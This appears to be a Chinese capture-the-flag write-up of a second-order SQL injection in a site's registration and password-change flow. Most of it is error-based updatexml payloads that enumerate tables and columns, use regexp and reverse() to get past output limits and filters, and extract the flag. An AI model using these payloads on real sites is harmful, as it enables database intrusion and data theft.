拿到一个网站,先寻找功能点,可以注册一个账号,并且登上账号之后可以修改密码。这让我想到了二次注入。
我先尝试的是注册admin'#修改密码然后再用admin登录,无法成功,尝试用双引号包裹,再次尝试注册amdin"#修改密码然后admin登录成功。
但是发现没什么用,admin账户和普通用户是一样的权限。
考虑其他方法,
在注册时发现对用户名是有检测的。
fuzz一下对好多关键字都没有过滤。
打上payload:1"&&updatexml(1,version(),1)#
注册成功,这段sql语句是肯定被执行了,因为会进行查询改用户存不存在,但是在注册页面没有将报错回显显示出来,
那它什么时候会被执行并且将结果回显出来呢。
这是就要关注另一个功能点,修改密码时肯定在where中会加上对用户名的检测。
我们先测试一下包裹方式。用admin'注册登录修改密码,没有错误,用admin"注册登录出现报错
可知道包裹方式为双引号,可推断出修改你吗语句为
update users set password='newpassword' where user="登录用户" and password='oldpassword'
我们通过不断的注册用户登录用户修改密码来传我们的payload。
test"^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)# test"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1)# test"^updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag))),1)#
最后得到的是假flag,去users表中扒一扒看看。
test"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1)#
test"^updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users))),1)#
爆出没有该列。
那可能爆列名的时候没有显示全,对于输出字符有限制,我们只显示这一条。这时候可以加个正则
regexp('^r')是MySql的正则,^r匹配开头是r的字段,也就是column_name=real_flag_1s_her
test"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1)#
test"^updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users))),1)#
得到这一列的数据,看来flag还在后面
继续用正则匹配
test"^updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1)#
right被过滤
使用reverse函数
test"^updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1)#